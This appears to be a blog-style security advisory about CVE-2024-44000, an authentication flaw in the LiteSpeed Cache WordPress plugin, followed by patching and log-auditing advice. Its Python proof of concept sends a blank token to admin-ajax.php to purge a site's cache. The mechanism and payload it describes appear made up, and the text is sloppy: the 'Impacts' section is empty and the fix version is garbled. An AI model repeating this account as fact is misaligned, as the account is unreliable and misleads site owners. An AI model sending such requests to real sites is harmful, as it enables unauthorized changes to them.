A new vulnerability, CVE-2024-44000, has been discovered in LiteSpeed Cache—a popular plugin that accelerates website performance for millions of WordPress sites. This bug is a serious one: it allows threat actors to completely bypass authentication due to how LiteSpeed Cache handles sensitive credentials.

In this exclusive long-read piece, we’ll break down how the vulnerability works, walk through a demonstration, and link you to official resources for patching your site.

What is CVE-2024-44000?

CVE-2024-44000 is categorized as an “Insufficiently Protected Credentials” vulnerability. In simple terms, it means LiteSpeed Cache fails to properly verify and protect sensitive login credentials, allowing an attacker to gain administrative access without valid authentication.

Impacts:

How Does the LiteSpeed Authentication Bypass Work?

At the heart of this bug is the way the LiteSpeed Cache plugin verifies certain credentials (like API keys or session tokens). It’s supposed to require a proper password or authentication token before giving administrative access to cache settings. Unfortunately, due to a logic flaw, the plugin fails to validate the credential’s source or checks it too loosely.

In plain English: If you know where to look, you can slip by the lock without the right key.

Let’s look at a (simplified) Python PoC that simulates the exploit

import requests

# Target URL (replace with your own test environment!)
url = "https://victim-website.com/wp-admin/admin-ajax.php";

# Attacker supplies a blank/forged credential in the POST data
payload = {
    'action': 'litespeed_option_action',
    'option': 'save',
    'token': '',  # The vulnerable credential field
    'setting': 'cache_purge',
    'value': 'all'
}

# Send the malicious request
response = requests.post(url, data=payload)

if "success" in response.text:
    print("[+] Cache purged. Auth bypass likely successful!")
else:
    print("[-] Attempt failed. Might be patched?")

Due to the vulnerability, the server accepts it anyway as valid.

- This lets the attacker change site settings or clear caches—sometimes even more dangerous settings!

1. Patch Immediately

Upgrade to at least LiteSpeed Cache v6.5..1 — the version where this bug was fixed.
- Download latest LiteSpeed Cache

2. Audit Access Logs

Check for suspicious requests to your wp-admin or plugin endpoints—especially from unknown IPs.

3. Use a Web Application Firewall (WAF)

WAFs like Wordfence can block unwanted requests even if bugs like this exist.

Original Advisory:

- NVD listing for CVE-2024-44000
- LiteSpeed Cache Changelog
- Patch References (GitHub)

Security Community Analysis:

- WPScan entry
- Exploit Database (may be updated as PoCs are published)

Conclusion

CVE-2024-44000 is a classic reminder that even reputable plugins like LiteSpeed Cache can harbor serious bugs. If you run WordPress, update your caching plugin now. The exploit is straightforward enough that anyone with an internet connection could compromise vulnerable sites.

If you want to stay safe, patch your software, tighten credentials, and watch your logs. Don’t give attackers an easy in!


*Have you been impacted by this vulnerability? Share your story in the comments. Check the official links above for updates and proof-of-concept code as responsibly disclosed.*

Timeline

Published on: 10/20/2024 12:15:03 UTC
Last modified on: 10/23/2024 14:16:02 UTC